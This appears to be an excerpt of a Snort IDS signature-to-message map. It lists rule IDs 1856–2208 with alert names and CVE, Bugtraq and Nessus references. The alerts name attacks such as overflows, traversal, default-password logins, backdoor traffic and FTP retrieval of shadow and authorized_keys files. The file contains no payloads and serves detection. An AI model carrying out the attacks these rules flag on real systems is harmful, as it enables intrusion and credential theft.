+1856 || DDOS Stacheldraht handler->agent ficken || url,staff.washington.edu/dittrich/misc/stacheldraht.analysis
+1857 || WEB-MISC robot.txt access || nessus,10302
+1858 || WEB-MISC CISCO PIX Firewall Manager directory traversal attempt || bugtraq,691 || cve,1999-0158 || nessus,10819
+1859 || WEB-MISC Sun JavaServer default password login attempt || cve,1999-0508 || nessus,10995
+1860 || WEB-MISC Linksys router default password login attempt || nessus,10999
+1861 || WEB-MISC Linksys router default username and password login attempt || nessus,10999
+1862 || WEB-CGI mrtg.cgi directory traversal attempt || bugtraq,4017 || cve,2002-0232 || nessus,11001
+1864 || FTP SITE NEWER attempt || cve,1999-0880 || nessus,10319
+1865 || WEB-CGI webdist.cgi arbitrary command attempt || bugtraq,374 || cve,1999-0039 || nessus,10299
+1866 || POP3 USER overflow attempt || bugtraq,11256 || bugtraq,789 || cve,1999-0494 || nessus,10311
+1867 || MISC xdmcp info query || nessus,10891
+1868 || WEB-CGI story.pl arbitrary file read attempt || bugtraq,3028 || cve,2001-0804 || nessus,10817
+1869 || WEB-CGI story.pl access || bugtraq,3028 || cve,2001-0804 || nessus,10817
+1870 || WEB-CGI siteUserMod.cgi access || bugtraq,951 || cve,2000-0117 || nessus,10253
+1871 || WEB-MISC Oracle XSQLConfig.xml access || bugtraq,4290 || cve,2002-0568 || nessus,10855
+1872 || WEB-MISC Oracle Dynamic Monitoring Services dms access || nessus,10848
+1873 || WEB-MISC globals.jsa access || bugtraq,4034 || cve,2002-0562 || nessus,10850
+1874 || WEB-MISC Oracle Java Process Manager access || nessus,10851
+1875 || WEB-CGI cgicso access || bugtraq,6141 || nessus,10779 || nessus,10780
+1876 || WEB-CGI nph-publish.cgi access || cve,1999-1177 || nessus,10164
+1877 || WEB-CGI printenv access || bugtraq,1658 || cve,2000-0868 || nessus,10188 || nessus,10503
+1878 || WEB-CGI sdbsearch.cgi access || bugtraq,1658 || cve,2000-0868 || nessus,10503
+1879 || WEB-CGI book.cgi arbitrary command execution attempt || bugtraq,3178 || cve,2001-1114 || nessus,10721
+1880 || WEB-MISC oracle web application server access || bugtraq,1053 || cve,2000-0169 || nessus,10348
+1881 || WEB-MISC bad HTTP/1.1 request, Potentially worm attack || url,securityresponse.symantec.com/avcenter/security/Content/2002.09.13.html
+1882 || ATTACK-RESPONSES id check returned userid
+1883 || ATTACK-RESPONSES id check returned nobody
+1884 || ATTACK-RESPONSES id check returned web
+1885 || ATTACK-RESPONSES id check returned http
+1886 || ATTACK-RESPONSES id check returned apache
+1887 || MISC OpenSSL Worm traffic || url,www.cert.org/advisories/CA-2002-27.html
+1888 || FTP SITE CPWD overflow attempt || bugtraq,5427 || cve,2002-0826
+1889 || MISC slapper worm admin traffic || url,isc.incidents.org/analysis.html?id=167 || url,www.cert.org/advisories/CA-2002-27.html
+1890 || RPC status GHBN format string attack || bugtraq,1480 || cve,2000-0666
+1891 || RPC status GHBN format string attack || bugtraq,1480 || cve,2000-0666
+1892 || SNMP null community string attempt || bugtraq,2112 || bugtraq,8974 || cve,1999-0517
+1893 || SNMP missing community string attempt || bugtraq,2112 || cve,1999-0517
+1894 || EXPLOIT kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1895 || EXPLOIT kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1896 || EXPLOIT kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1897 || EXPLOIT kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1898 || EXPLOIT kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1899 || EXPLOIT kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1900 || ATTACK-RESPONSES successful kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1901 || ATTACK-RESPONSES successful kadmind buffer overflow attempt || bugtraq,5731 || bugtraq,6024 || cve,2002-1226 || cve,2002-1235 || url,www.kb.cert.org/vuls/id/875073
+1902 || IMAP lsub literal overflow attempt || bugtraq,1110 || cve,2000-0284 || nessus,10374
+1903 || IMAP rename overflow attempt || bugtraq,1110 || cve,2000-0284 || nessus,10374
+1904 || IMAP find overflow attempt || bugtraq,1110 || cve,2000-0284 || nessus,10374
+1905 || RPC AMD UDP amqproc_mount plog overflow attempt || bugtraq,614 || cve,1999-0704
+1906 || RPC AMD TCP amqproc_mount plog overflow attempt || bugtraq,614 || cve,1999-0704
+1907 || RPC CMSD UDP CMSD_CREATE buffer overflow attempt || bugtraq,524 || cve,1999-0696
+1908 || RPC CMSD TCP CMSD_CREATE buffer overflow attempt || bugtraq,524 || cve,1999-0696
+1909 || RPC CMSD TCP CMSD_INSERT buffer overflow attempt || bugtraq,524 || cve,1999-0696 || url,www.cert.org/advisories/CA-99-08-cmsd.html
+1910 || RPC CMSD udp CMSD_INSERT buffer overflow attempt || cve,1999-0696 || url,www.cert.org/advisories/CA-99-08-cmsd.html
+1911 || RPC sadmind UDP NETMGT_PROC_SERVICE CLIENT_DOMAIN overflow attempt || bugtraq,866 || cve,1999-0977
+1912 || RPC sadmind TCP NETMGT_PROC_SERVICE CLIENT_DOMAIN overflow attempt || bugtraq,0866 || bugtraq,866 || cve,1999-0977
+1913 || RPC STATD UDP stat mon_name format string exploit attempt || bugtraq,1480 || cve,2000-0666
+1914 || RPC STATD TCP stat mon_name format string exploit attempt || bugtraq,1480 || cve,2000-0666
+1915 || RPC STATD UDP monitor mon_name format string exploit attempt || bugtraq,1480 || cve,2000-0666
+1916 || RPC STATD TCP monitor mon_name format string exploit attempt || bugtraq,1480 || cve,2000-0666
+1917 || SCAN UPnP service discover attempt
+1918 || SCAN SolarWinds IP scan attempt
+1919 || FTP CWD overflow attempt || bugtraq,11069 || bugtraq,1227 || bugtraq,1690 || bugtraq,6869 || bugtraq,7251 || bugtraq,7950 || cve,1999-0219 || cve,1999-1058 || cve,1999-1510 || cve,2000-1035 || cve,2000-1194 || cve,2001-0781 || cve,2002-0126 || cve,2002-0405
+1920 || FTP SITE NEWER overflow attempt || bugtraq,229 || cve,1999-0800
+1921 || FTP SITE ZIPCHK overflow attempt || cve,2000-0040
+1922 || RPC portmap proxy attempt TCP
+1923 || RPC portmap proxy attempt UDP
+1924 || RPC mountd UDP export request || arachnids,26
+1925 || RPC mountd TCP exportall request || arachnids,26
+1926 || RPC mountd UDP exportall request || arachnids,26
+1927 || FTP authorized_keys
+1928 || FTP shadow retrieval attempt
+1929 || BACKDOOR TCPDUMP/PCAP trojan traffic || url,hlug.fscker.com
+1930 || IMAP auth literal overflow attempt || cve,1999-0005
+1931 || WEB-CGI rpc-nlog.pl access || cve,1999-1278 || url,marc.theaimsgroup.com/?l=bugtraq&m=91470326629357&w=2 || url,marc.theaimsgroup.com/?l=bugtraq&m=91471400632145&w=2
+1932 || WEB-CGI rpc-smb.pl access || cve,1999-1278
+1933 || WEB-CGI cart.cgi access || bugtraq,1115 || cve,2000-0252 || nessus,10368
+1934 || POP2 FOLD overflow attempt || bugtraq,283 || cve,1999-0920 || nessus,10130
+1935 || POP2 FOLD arbitrary file attempt
+1936 || POP3 AUTH overflow attempt || bugtraq,830 || cve,1999-0822 || nessus,10184
+1937 || POP3 LIST overflow attempt || bugtraq,948 || cve,2000-0096 || nessus,10197
+1938 || POP3 XTND overflow attempt
+1939 || MISC bootp hardware address length overflow || cve,1999-0798
+1940 || MISC bootp invalid hardware type || cve,1999-0798
+1941 || TFTP GET filename overflow attempt || bugtraq,5328 || cve,2002-0813
+1942 || FTP RMDIR overflow attempt || bugtraq,819
+1943 || WEB-MISC /Carello/add.exe access || bugtraq,1245 || cve,2000-0396 || nessus,11776
+1944 || WEB-MISC /ecscripts/ecware.exe access || bugtraq,6066
+1945 || WEB-IIS unicode directory traversal attempt || bugtraq,1806 || cve,2000-0884 || nessus,10537
+1946 || WEB-MISC answerbook2 admin attempt || bugtraq,5383 || cve,2000-0696
+1947 || WEB-MISC answerbook2 arbitrary command execution attempt || bugtraq,1556 || cve,2000-0697
+1948 || DNS zone transfer UDP || arachnids,212 || cve,1999-0532 || nessus,10595
+1949 || RPC portmap SET attempt TCP 111
+1950 || RPC portmap SET attempt UDP 111
+1951 || RPC mountd TCP mount request
+1952 || RPC mountd UDP mount request
+1953 || RPC AMD TCP pid request
+1954 || RPC AMD UDP pid request
+1955 || RPC AMD TCP version request
+1956 || RPC AMD UDP version request || bugtraq,1554 || cve,2000-0696
+1957 || RPC sadmind UDP PING || bugtraq,866
+1958 || RPC sadmind TCP PING || bugtraq,866
+1959 || RPC portmap NFS request UDP
+1960 || RPC portmap NFS request TCP
+1961 || RPC portmap RQUOTA request UDP
+1962 || RPC portmap RQUOTA request TCP
+1963 || RPC RQUOTA getquota overflow attempt UDP || bugtraq,864 || cve,1999-0974
+1964 || RPC tooltalk UDP overflow attempt || bugtraq,122 || cve,1999-0003
+1965 || RPC tooltalk TCP overflow attempt || bugtraq,122 || cve,1999-0003
+1966 || MISC GlobalSunTech Access Point Information Disclosure attempt || bugtraq,6100
+1967 || WEB-PHP phpbb quick-reply.php arbitrary command attempt || bugtraq,6173
+1968 || WEB-PHP phpbb quick-reply.php access || bugtraq,6173
+1969 || WEB-MISC ion-p access || bugtraq,6091 || cve,2002-1559
+1970 || WEB-IIS MDAC Content-Type overflow attempt || bugtraq,6214 || cve,2002-1142 || url,www.foundstone.com/knowledge/randd-advisories-display.html?id=337 || url,www.microsoft.com/technet/security/bulletin/MS02-065.mspx || url,www.microsoft.com/technet/security/bulletin/MS98-004.mspx
+1971 || FTP SITE EXEC format string attempt
+1972 || FTP PASS overflow attempt || bugtraq,10078 || bugtraq,10720 || bugtraq,1690 || bugtraq,3884 || bugtraq,8601 || bugtraq,9285 || cve,1999-1519 || cve,1999-1539 || cve,2000-1035 || cve,2002-0126 || cve,2002-0895
+1973 || FTP MKD overflow attempt || bugtraq,612 || bugtraq,7278 || bugtraq,9872 || cve,1999-0911 || nessus,12108
+1974 || FTP REST overflow attempt || bugtraq,2972 || cve,2001-0826
+1975 || FTP DELE overflow attempt || bugtraq,2972 || cve,2001-0826 || cve,2001-1021
+1976 || FTP RMD overflow attempt || bugtraq,2972 || cve,2000-0133 || cve,2001-0826 || cve,2001-1021
+1977 || WEB-MISC xp_regwrite attempt
+1978 || WEB-MISC xp_regdeletekey attempt
+1979 || WEB-MISC perl post attempt || bugtraq,5520 || cve,2002-1436 || nessus,11158
+1980 || BACKDOOR DeepThroat 3.1 Connection attempt || mcafee,98574 || nessus,10053
+1981 || BACKDOOR DeepThroat 3.1 Connection attempt [3150] || mcafee,98574 || nessus,10053
+1982 || BACKDOOR DeepThroat 3.1 Server Response [3150] || arachnids,106 || mcafee,98574 || nessus,10053
+1983 || BACKDOOR DeepThroat 3.1 Connection attempt [4120] || mcafee,98574 || nessus,10053
+1984 || BACKDOOR DeepThroat 3.1 Server Response [4120] || arachnids,106 || mcafee,98574 || nessus,10053
+1985 || BACKDOOR Doly 1.5 server response
+1986 || CHAT MSN outbound file transfer request
+1987 || MISC xfs overflow attempt || bugtraq,6241 || cve,2002-1317 || nessus,11188
+1988 || CHAT MSN outbound file transfer accept
+1989 || CHAT MSN outbound file transfer rejected
+1990 || CHAT MSN user search
+1991 || CHAT MSN login attempt
+1992 || FTP LIST directory traversal attempt || bugtraq,2618 || cve,2001-0680 || cve,2002-1054 || nessus,11112
+1993 || IMAP login literal buffer overflow attempt || bugtraq,6298
+1994 || WEB-CGI vpasswd.cgi access || bugtraq,6038 || nessus,11165
+1995 || WEB-CGI alya.cgi access || nessus,11118
+1996 || WEB-CGI viralator.cgi access || bugtraq,3495 || cve,2001-0849 || nessus,11107
+1997 || WEB-PHP read_body.php access attempt || bugtraq,6302 || cve,2002-1341
+1998 || WEB-PHP calendar.php access || bugtraq,5820 || bugtraq,9353 || nessus,11179
+1999 || WEB-PHP edit_image.php access || bugtraq,3288 || cve,2001-1020 || nessus,11104
+2000 || WEB-PHP readmsg.php access || cve,2001-1408 || nessus,11073
+2001 || WEB-CGI smartsearch.cgi access || bugtraq,7133
+2002 || WEB-PHP remote include path
+2003 || MS-SQL Worm propagation attempt || bugtraq,5310 || bugtraq,5311 || cve,2002-0649 || nessus,11214 || url,vil.nai.com/vil/content/v_99992.htm
+2004 || MS-SQL Worm propagation attempt OUTBOUND || bugtraq,5310 || bugtraq,5311 || cve,2002-0649 || nessus,11214 || url,vil.nai.com/vil/content/v_99992.htm
+2005 || RPC portmap kcms_server request UDP || bugtraq,6665 || cve,2003-0027 || url,www.kb.cert.org/vuls/id/850785
+2006 || RPC portmap kcms_server request TCP || bugtraq,6665 || cve,2003-0027 || url,www.kb.cert.org/vuls/id/850785
+2007 || RPC kcms_server directory traversal attempt || bugtraq,6665 || cve,2003-0027 || url,www.kb.cert.org/vuls/id/850785
+2008 || MISC CVS invalid user authentication response
+2009 || MISC CVS invalid repository response
+2010 || MISC CVS double free exploit attempt response || bugtraq,6650 || cve,2003-0015
+2011 || MISC CVS invalid directory response || bugtraq,6650 || cve,2003-0015
+2012 || MISC CVS missing cvsroot response
+2013 || MISC CVS invalid module response
+2014 || RPC portmap UNSET attempt TCP 111 || bugtraq,1892
+2015 || RPC portmap UNSET attempt UDP 111 || bugtraq,1892
+2016 || RPC portmap status request TCP || arachnids,15
+2017 || RPC portmap espd request UDP || bugtraq,2714 || cve,2001-0331
+2018 || RPC mountd TCP dump request
+2019 || RPC mountd UDP dump request
+2020 || RPC mountd TCP unmount request
+2021 || RPC mountd UDP unmount request
+2022 || RPC mountd TCP unmountall request
+2023 || RPC mountd UDP unmountall request
+2024 || RPC RQUOTA getquota overflow attempt TCP || bugtraq,864 || cve,1999-0974
+2025 || RPC yppasswd username overflow attempt UDP || bugtraq,2763 || cve,2001-0779
+2026 || RPC yppasswd username overflow attempt TCP || bugtraq,2763 || cve,2001-0779
+2027 || RPC yppasswd old password overflow attempt UDP || bugtraq,2763 || cve,2001-0779
+2028 || RPC yppasswd old password overflow attempt TCP || bugtraq,2763 || cve,2001-0779
+2029 || RPC yppasswd new password overflow attempt UDP || bugtraq,2763 || cve,2001-0779
+2030 || RPC yppasswd new password overflow attempt TCP || bugtraq,2763 || cve,2001-0779
+2031 || RPC yppasswd user update UDP || bugtraq,2763 || cve,2001-0779
+2032 || RPC yppasswd user update TCP || bugtraq,2763 || cve,2001-0779
+2033 || RPC ypserv maplist request UDP || bugtraq,5914 || bugtraq,6016 || cve,2002-1232
+2034 || RPC ypserv maplist request TCP || Cve,CAN-2002-1232 || bugtraq,5914 || bugtraq,6016
+2035 || RPC portmap network-status-monitor request UDP
+2036 || RPC portmap network-status-monitor request TCP
+2037 || RPC network-status-monitor mon-callback request UDP
+2038 || RPC network-status-monitor mon-callback request TCP
+2039 || MISC bootp hostname format string attempt || bugtraq,4701 || cve,2002-0702 || nessus,11312
+2040 || POLICY xtacacs login attempt
+2041 || MISC xtacacs failed login response
+2042 || POLICY xtacacs accepted login response
+2043 || MISC isakmp login failed
+2044 || POLICY PPTP Start Control Request attempt
+2045 || RPC snmpXdmi overflow attempt UDP || bugtraq,2417 || cve,2001-0236 || url,www.cert.org/advisories/CA-2001-05.html
+2046 || IMAP partial body.peek buffer overflow attempt || bugtraq,4713 || cve,2002-0379
+2047 || MISC rsyncd module list access
+2048 || MISC rsyncd overflow attempt || bugtraq,9153 || cve,2003-0962 || nessus,11943
+2049 || MS-SQL ping attempt || nessus,10674
+2050 || MS-SQL version overflow attempt || bugtraq,5310 || cve,2002-0649 || nessus,10674
+2051 || WEB-CGI cached_feed.cgi moreover shopping cart access || bugtraq,1762 || cve,2000-0906
+2052 || WEB-CGI overflow.cgi access || bugtraq,6326 || cve,2002-1361 || nessus,11190 || url,www.cert.org/advisories/CA-2002-35.html
+2053 || WEB-CGI process_bug.cgi access || bugtraq,3272 || cve,2002-0008
+2054 || WEB-CGI enter_bug.cgi arbitrary command attempt || bugtraq,3272 || cve,2002-0008
+2055 || WEB-CGI enter_bug.cgi access || bugtraq,3272 || cve,2002-0008
+2056 || WEB-MISC TRACE attempt || bugtraq,9561 || nessus,11213 || url,www.whitehatsec.com/press_releases/WH-PR-20030120.pdf
+2057 || WEB-MISC helpout.exe access || bugtraq,6002 || cve,2002-1169 || nessus,11162
+2058 || WEB-MISC MsmMask.exe attempt || nessus,11163
+2059 || WEB-MISC MsmMask.exe access || nessus,11163
+2060 || WEB-MISC DB4Web access || nessus,11180
+2061 || WEB-MISC Tomcat null byte directory listing attempt || bugtraq,2518 || bugtraq,6721 || cve,2003-0042
+2062 || WEB-MISC iPlanet .perf access || nessus,11220
+2063 || WEB-MISC Demarc SQL injection attempt || bugtraq,4520 || cve,2002-0539
+2064 || WEB-MISC Lotus Notes .csp script source download attempt || bugtraq,6841
+2065 || WEB-MISC Lotus Notes .csp script source download attempt
+2066 || WEB-MISC Lotus Notes .pl script source download attempt || bugtraq,6841
+2067 || WEB-MISC Lotus Notes .exe script source download attempt || bugtraq,6841
+2068 || WEB-MISC BitKeeper arbitrary command attempt || bugtraq,6588
+2069 || WEB-MISC chip.ini access || bugtraq,2755 || bugtraq,2775 || cve,2001-0749 || cve,2001-0771
+2070 || WEB-MISC post32.exe arbitrary command attempt || bugtraq,1485
+2071 || WEB-MISC post32.exe access || bugtraq,1485
+2072 || WEB-MISC lyris.pl access || bugtraq,1584 || cve,2000-0758
+2073 || WEB-MISC globals.pl access || bugtraq,2671 || cve,2001-0330
+2074 || WEB-PHP Mambo uploadimage.php upload php file attempt || bugtraq,6572
+2075 || WEB-PHP Mambo upload.php upload php file attempt || bugtraq,6572
+2076 || WEB-PHP Mambo uploadimage.php access || bugtraq,6572
+2077 || WEB-PHP Mambo upload.php access || bugtraq,6572
+2078 || WEB-PHP phpBB privmsg.php access || bugtraq,6634
+2079 || RPC portmap nlockmgr request UDP || bugtraq,1372 || cve,2000-0508
+2080 || RPC portmap nlockmgr request TCP || bugtraq,1372 || cve,2000-0508
+2081 || RPC portmap rpc.xfsmd request UDP || bugtraq,5072 || bugtraq,5075 || cve,2002-0359
+2082 || RPC portmap rpc.xfsmd request TCP || bugtraq,5072 || bugtraq,5075 || cve,2002-0359
+2083 || RPC rpc.xfsmd xfs_export attempt UDP || bugtraq,5072 || bugtraq,5075 || cve,2002-0359
+2084 || RPC rpc.xfsmd xfs_export attempt TCP || bugtraq,5072 || bugtraq,5075 || cve,2002-0359
+2085 || WEB-CGI parse_xml.cgi access || bugtraq,6960 || cve,2003-0054
+2086 || WEB-CGI streaming server parse_xml.cgi access || bugtraq,6960 || cve,2003-0054
+2087 || SMTP From comment overflow attempt || bugtraq,6991 || cve,2002-1337 || url,www.kb.cert.org/vuls/id/398025
+2088 || RPC ypupdated arbitrary command attempt UDP
+2089 || RPC ypupdated arbitrary command attempt TCP
+2090 || WEB-IIS WEBDAV exploit attempt || bugtraq,7116 || bugtraq,7716 || cve,2003-0109 || nessus,11413 || url,www.microsoft.com/technet/security/bulletin/ms03-007.mspx
+2091 || WEB-IIS WEBDAV nessus safe scan attempt || bugtraq,7116 || cve,2003-0109 || nessus,11412 || nessus,11413 || url,www.microsoft.com/technet/security/bulletin/ms03-007.mspx
+2092 || RPC portmap proxy integer overflow attempt UDP || bugtraq,7123 || cve,2003-0028
+2093 || RPC portmap proxy integer overflow attempt TCP || bugtraq,7123 || cve,2003-0028
+2094 || RPC CMSD UDP CMSD_CREATE array buffer overflow attempt || bugtraq,5356 || cve,2002-0391
+2095 || RPC CMSD TCP CMSD_CREATE array buffer overflow attempt || bugtraq,5356 || cve,2002-0391
+2100 || BACKDOOR SubSeven 2.1 Gold server connection response || mcafee,10566 || nessus,10409
+2101 || NETBIOS SMB SMB_COM_TRANSACTION Max Parameter and Max Count of 0 DOS Attempt || bugtraq,5556 || cve,2002-0724 || nessus,11110 || url,www.corest.com/common/showdoc.php?idx=262 || url,www.microsoft.com/technet/security/bulletin/MS02-045.mspx
+2102 || NETBIOS SMB SMB_COM_TRANSACTION Max Data Count of 0 DOS Attempt || bugtraq,5556 || cve,2002-0724 || nessus,11110 || url,www.corest.com/common/showdoc.php?idx=262 || url,www.microsoft.com/technet/security/bulletin/MS02-045.mspx
+2103 || NETBIOS SMB trans2open buffer overflow attempt || bugtraq,7294 || cve,2003-0201 || url,www.digitaldefense.net/labs/advisories/DDI-1013.txt
+2104 || ATTACK-RESPONSES rexec username too long response || bugtraq,7459
+2105 || IMAP authenticate literal overflow attempt || cve,1999-0042 || nessus,10292
+2106 || IMAP lsub overflow attempt || bugtraq,1110 || cve,2000-0284 || nessus,10374
+2107 || IMAP create buffer overflow attempt || bugtraq,7446
+2108 || POP3 CAPA overflow attempt
+2109 || POP3 TOP overflow attempt
+2110 || POP3 STAT overflow attempt
+2111 || POP3 DELE overflow attempt
+2112 || POP3 RSET overflow attempt
+2113 || RSERVICES rexec username overflow attempt
+2114 || RSERVICES rexec password overflow attempt
+2115 || WEB-CGI album.pl access || bugtraq,7444 || nessus,11581
+2116 || WEB-CGI chipcfg.cgi access || bugtraq,2767 || cve,2001-1341 || url,archives.neohapsis.com/archives/bugtraq/2001-05/0233.html
+2117 || WEB-IIS Battleaxe Forum login.asp access || bugtraq,7416 || cve,2003-0215
+2118 || IMAP list overflow attempt || bugtraq,1110 || cve,2000-0284 || nessus,10374
+2119 || IMAP rename literal overflow attempt || bugtraq,1110 || cve,2000-0284 || nessus,10374
+2120 || IMAP create literal buffer overflow attempt || bugtraq,7446
+2121 || POP3 DELE negative argument attempt || bugtraq,6053 || bugtraq,7445 || cve,2002-1539
+2122 || POP3 UIDL negative argument attempt || bugtraq,6053 || cve,2002-1539 || nessus,11570
+2123 || ATTACK-RESPONSES Microsoft cmd.exe banner || nessus,11633
+2124 || BACKDOOR Remote PC Access connection attempt || nessus,11673
+2125 || FTP CWD Root directory transversal attempt || bugtraq,7674 || cve,2003-0392 || nessus,11677
+2126 || MISC Microsoft PPTP Start Control Request buffer overflow attempt || bugtraq,5807 || cve,2002-1214 || url,www.microsoft.com/technet/security/bulletin/MS02-063.mspx
+2127 || WEB-CGI ikonboard.cgi access || bugtraq,7361 || nessus,11605
+2128 || WEB-CGI swsrv.cgi access || bugtraq,7510 || cve,2003-0217 || nessus,11608
+2129 || WEB-IIS nsiislog.dll access || bugtraq,8035 || cve,2003-0227 || cve,2003-0349 || nessus,11664 || url,www.microsoft.com/technet/security/bulletin/ms03-018.mspx
+2130 || WEB-IIS IISProtect siteadmin.asp access || bugtraq,7675 || cve,2003-0377 || nessus,11662
+2131 || WEB-IIS IISProtect access || nessus,11661
+2132 || WEB-IIS Synchrologic Email Accelerator userid list access attempt || nessus,11657
+2133 || WEB-IIS MS BizTalk server access || bugtraq,7469 || bugtraq,7470 || cve,2003-0117 || cve,2003-0118 || nessus,11638 || url,www.microsoft.com/technet/security/bulletin/MS03-016.mspx
+2134 || WEB-IIS register.asp access || nessus,11621
+2135 || WEB-MISC philboard.mdb access || nessus,11682
+2136 || WEB-MISC philboard_admin.asp authentication bypass attempt || bugtraq,7739 || nessus,11675
+2137 || WEB-MISC philboard_admin.asp access || bugtraq,7739 || nessus,11675
+2138 || WEB-MISC logicworks.ini access || bugtraq,6996 || nessus,11639
+2139 || WEB-MISC /*.shtml access || bugtraq,1517 || cve,2000-0683 || nessus,11604
+2140 || WEB-PHP p-news.php access || nessus,11669
+2141 || WEB-PHP shoutbox.php directory traversal attempt || nessus,11668
+2142 || WEB-PHP shoutbox.php access || nessus,11668
+2143 || WEB-PHP b2 cafelog gm-2-b2.php remote file include attempt || nessus,11667
+2144 || WEB-PHP b2 cafelog gm-2-b2.php access || nessus,11667
+2145 || WEB-PHP TextPortal admin.php default password admin attempt || bugtraq,7673 || nessus,11660
+2146 || WEB-PHP TextPortal admin.php default password 12345 attempt || bugtraq,7673 || nessus,11660
+2147 || WEB-PHP BLNews objects.inc.php4 remote file include attempt || bugtraq,7677 || cve,2003-0394 || nessus,11647
+2148 || WEB-PHP BLNews objects.inc.php4 access || bugtraq,7677 || cve,2003-0394 || nessus,11647
+2149 || WEB-PHP Turba status.php access || nessus,11646
+2150 || WEB-PHP ttCMS header.php remote file include attempt || bugtraq,7542 || bugtraq,7543 || bugtraq,7625 || nessus,11636
+2151 || WEB-PHP ttCMS header.php access || bugtraq,7542 || bugtraq,7543 || bugtraq,7625 || nessus,11636
+2152 || WEB-PHP test.php access || nessus,11617
+2153 || WEB-PHP autohtml.php directory traversal attempt || nessus,11630
+2154 || WEB-PHP autohtml.php access || nessus,11630
+2155 || WEB-PHP ttforum remote file include attempt || bugtraq,7542 || bugtraq,7543 || nessus,11615
+2156 || WEB-MISC mod_gzip_status access || nessus,11685
+2157 || WEB-IIS IISProtect globaladmin.asp access || nessus,11661
+2158 || MISC BGP invalid length || bugtraq,6213 || cve,2002-1350 || url,sf.net/tracker/index.php?func=detail&aid=744523&group_id=53066&atid=469575
+2159 || MISC BGP invalid type 0 || bugtraq,6213 || cve,2002-1350
+2160 || VIRUS OUTBOUND .exe file attachment
+2161 || VIRUS OUTBOUND .doc file attachment
+2162 || VIRUS OUTBOUND .hta file attachment
+2163 || VIRUS OUTBOUND .chm file attachment
+2164 || VIRUS OUTBOUND .reg file attachment
+2165 || VIRUS OUTBOUND .ini file attachment
+2166 || VIRUS OUTBOUND .bat file attachment
+2167 || VIRUS OUTBOUND .diz file attachment
+2168 || VIRUS OUTBOUND .cpp file attachment
+2169 || VIRUS OUTBOUND .dll file attachment
+2170 || VIRUS OUTBOUND .vxd file attachment
+2171 || VIRUS OUTBOUND .sys file attachment
+2172 || VIRUS OUTBOUND .com file attachment
+2173 || VIRUS OUTBOUND .hsq file attachment
+2174 || NETBIOS SMB winreg create tree attempt
+2175 || NETBIOS SMB winreg unicode create tree attempt
+2176 || NETBIOS SMB startup folder access
+2177 || NETBIOS SMB startup folder unicode access
+2178 || FTP USER format string attempt || bugtraq,7474 || bugtraq,7776 || bugtraq,9262 || bugtraq,9402 || bugtraq,9600 || bugtraq,9800 || cve,2004-0277 || nessus,10041 || nessus,11687
+2179 || FTP PASS format string attempt || bugtraq,7474 || bugtraq,9262 || bugtraq,9800 || cve,2000-0699
+2180 || P2P BitTorrent announce request
+2181 || P2P BitTorrent transfer
+2182 || BACKDOOR typot trojan traffic || mcafee,100406
+2183 || SMTP Content-Transfer-Encoding overflow attempt || cve,2003-0161 || url,www.cert.org/advisories/CA-2003-12.html
+2184 || RPC mountd TCP mount path overflow attempt || bugtraq,8179 || cve,2003-0252 || nessus,11800
+2185 || RPC mountd UDP mount path overflow attempt || bugtraq,8179 || cve,2003-0252 || nessus,11800
+2186 || BAD-TRAFFIC IP Proto 53 SWIPE || bugtraq,8211 || cve,2003-0567
+2187 || BAD-TRAFFIC IP Proto 55 IP Mobility || bugtraq,8211 || cve,2003-0567
+2188 || BAD-TRAFFIC IP Proto 77 Sun ND || bugtraq,8211 || cve,2003-0567
+2189 || BAD-TRAFFIC IP Proto 103 PIM || bugtraq,8211 || cve,2003-0567
+2190 || NETBIOS DCERPC invalid bind attempt
+2191 || NETBIOS SMB DCERPC invalid bind attempt
+2192 || NETBIOS DCERPC ISystemActivator bind attempt || bugtraq,8205 || cve,2003-0352 || nessus,11808 || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+2193 || NETBIOS SMB-DS DCERPC ISystemActivator bind attempt || bugtraq,8205 || cve,2003-0352 || nessus,11808 || url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx
+2194 || WEB-CGI CSMailto.cgi access || bugtraq,4579 || bugtraq,6265 || cve,2002-0749 || nessus,11748
+2195 || WEB-CGI alert.cgi access || bugtraq,4211 || bugtraq,4579 || cve,2002-0346 || nessus,11748
+2196 || WEB-CGI catgy.cgi access || bugtraq,3714 || bugtraq,4579 || cve,2001-1212 || nessus,11748
+2197 || WEB-CGI cvsview2.cgi access || bugtraq,4579 || bugtraq,5517 || cve,2003-0153 || nessus,11748
+2198 || WEB-CGI cvslog.cgi access || bugtraq,4579 || bugtraq,5517 || cve,2003-0153 || nessus,11748
+2199 || WEB-CGI multidiff.cgi access || bugtraq,4579 || bugtraq,5517 || cve,2003-0153 || nessus,11748
+2200 || WEB-CGI dnewsweb.cgi access || bugtraq,1172 || bugtraq,4579 || cve,2000-0423 || nessus,11748
+2201 || WEB-CGI download.cgi access || bugtraq,4579 || cve,1999-1377 || nessus,11748
+2202 || WEB-CGI edit_action.cgi access || bugtraq,3698 || bugtraq,4579 || cve,2001-1196 || nessus,11748
+2203 || WEB-CGI everythingform.cgi access || bugtraq,2101 || bugtraq,4579 || cve,2001-0023 || nessus,11748
+2204 || WEB-CGI ezadmin.cgi access || bugtraq,4068 || bugtraq,4579 || cve,2002-0263 || nessus,11748
+2205 || WEB-CGI ezboard.cgi access || bugtraq,4068 || bugtraq,4579 || cve,2002-0263 || nessus,11748
+2206 || WEB-CGI ezman.cgi access || bugtraq,4068 || bugtraq,4579 || cve,2002-0263 || nessus,11748
+2207 || WEB-CGI fileseek.cgi access || bugtraq,4579 || bugtraq,6784 || cve,2002-0611 || nessus,11748
+2208 || WEB-CGI fom.cgi access || bugtraq,4579 || cve,2002-0230 || nessus,11748
